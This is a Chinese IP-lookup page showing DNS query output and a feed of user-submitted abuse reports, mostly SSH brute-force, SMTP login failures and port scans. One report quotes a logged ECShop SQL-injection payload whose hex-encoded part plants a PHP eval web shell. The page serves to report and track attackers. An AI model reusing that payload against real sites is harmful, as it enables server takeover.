必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): United States

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
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WHOIS信息:
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DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.81.4
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43467
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.81.4.			IN	A

;; AUTHORITY SECTION:
.			180	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021701 1800 900 604800 86400

;; Query time: 63 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 03:02:54 CST 2022
;; MSG SIZE  rcvd: 104
HOST信息:
Host 4.81.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 4.81.21.104.in-addr.arpa: NXDOMAIN
相关IP信息:
最新评论:
IP 类型 评论内容 时间
185.141.10.67 attack
2019-11-17 08:37:41 H=(lithoexpress.it) [185.141.10.67]:47514 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.4, 127.0.0.3) (https://www.spamhaus.org/query/ip/185.141.10.67)
2019-11-17 08:37:41 H=(lithoexpress.it) [185.141.10.67]:47514 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.4, 127.0.0.3) (https://www.spamhaus.org/query/ip/185.141.10.67)
2019-11-17 08:37:42 H=(lithoexpress.it) [185.141.10.67]:47514 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.3, 127.0.0.4) (https://www.spamhaus.org/query/ip/185.141.10.67)
...
2019-11-18 04:41:12
191.242.136.121 attackspambots
Telnet/23 MH Probe, BF, Hack -
2019-11-18 04:33:23
222.186.175.169 attackspam
Nov 17 21:26:17 dedicated sshd[16028]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.175.169  user=root
Nov 17 21:26:19 dedicated sshd[16028]: Failed password for root from 222.186.175.169 port 7728 ssh2
2019-11-18 04:34:12
5.152.159.31 attackbots
Repeated brute force against a port
2019-11-18 04:27:10
104.148.105.5 attack
Web app attack & sql injection attempts.
Date: 2019 Nov 17. 18:11:58
Source IP: 104.148.105.5

Portion of the log(s):
104.148.105.5 - [17/Nov/2019:18:11:57 +0100] "POST /ysyqq.php HTTP/1.1" 404 548 "http://[removed].hu/ysyqq.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login HTTP/1.1" 404 548 "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:297:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fqopr.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fdgq.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login ....
2019-11-18 05:01:17
138.197.213.233 attackspambots
Nov 17 04:32:56 wbs sshd\[25498\]: Invalid user fsc from 138.197.213.233
Nov 17 04:32:57 wbs sshd\[25498\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.213.233
Nov 17 04:32:58 wbs sshd\[25498\]: Failed password for invalid user fsc from 138.197.213.233 port 53410 ssh2
Nov 17 04:36:59 wbs sshd\[25805\]: Invalid user piet from 138.197.213.233
Nov 17 04:36:59 wbs sshd\[25805\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.213.233
2019-11-18 05:00:47
49.234.12.123 attackspambots
Nov 17 17:59:24 heissa sshd\[9175\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.12.123  user=root
Nov 17 17:59:26 heissa sshd\[9175\]: Failed password for root from 49.234.12.123 port 38916 ssh2
Nov 17 18:03:55 heissa sshd\[9924\]: Invalid user hosts from 49.234.12.123 port 45420
Nov 17 18:03:55 heissa sshd\[9924\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.12.123
Nov 17 18:03:58 heissa sshd\[9924\]: Failed password for invalid user hosts from 49.234.12.123 port 45420 ssh2
2019-11-18 04:23:33
62.106.123.90 attackspam
Automatic report - Port Scan Attack
2019-11-18 04:29:45
217.160.44.145 attackbotsspam
Nov 17 16:23:37 microserver sshd[60717]: Invalid user vcsa from 217.160.44.145 port 40762
Nov 17 16:23:37 microserver sshd[60717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.160.44.145
Nov 17 16:23:38 microserver sshd[60717]: Failed password for invalid user vcsa from 217.160.44.145 port 40762 ssh2
Nov 17 16:27:09 microserver sshd[61275]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.160.44.145  user=root
Nov 17 16:27:11 microserver sshd[61275]: Failed password for root from 217.160.44.145 port 48634 ssh2
Nov 17 16:37:39 microserver sshd[62696]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.160.44.145  user=root
Nov 17 16:37:41 microserver sshd[62696]: Failed password for root from 217.160.44.145 port 43974 ssh2
Nov 17 16:41:13 microserver sshd[63340]: Invalid user balvig from 217.160.44.145 port 51828
Nov 17 16:41:13 microserver sshd[63340]: pam_unix(sshd:auth): authent
2019-11-18 04:41:32
134.209.11.199 attackspam
Brute-force attempt banned
2019-11-18 04:26:24
200.14.115.241 attackspambots
TCP SYN with data, PTR: host241.200.14.115.static.lgg.cl.
2019-11-18 04:44:45
221.132.17.74 attackspambots
Nov 17 18:45:40 vps647732 sshd[20912]: Failed password for root from 221.132.17.74 port 33434 ssh2
...
2019-11-18 04:27:26
92.118.38.38 attackspam
Nov 17 21:38:22 webserver postfix/smtpd\[25477\]: warning: unknown\[92.118.38.38\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Nov 17 21:38:58 webserver postfix/smtpd\[25477\]: warning: unknown\[92.118.38.38\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Nov 17 21:39:33 webserver postfix/smtpd\[25475\]: warning: unknown\[92.118.38.38\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Nov 17 21:40:09 webserver postfix/smtpd\[23850\]: warning: unknown\[92.118.38.38\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Nov 17 21:40:44 webserver postfix/smtpd\[25530\]: warning: unknown\[92.118.38.38\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
...
2019-11-18 04:52:54
190.107.240.237 attackbotsspam
Telnet/23 MH Probe, BF, Hack -
2019-11-18 04:36:18
45.120.184.241 attack
ECShop Remote Code Execution Vulnerability, PTR: PTR record not found
2019-11-18 04:38:21

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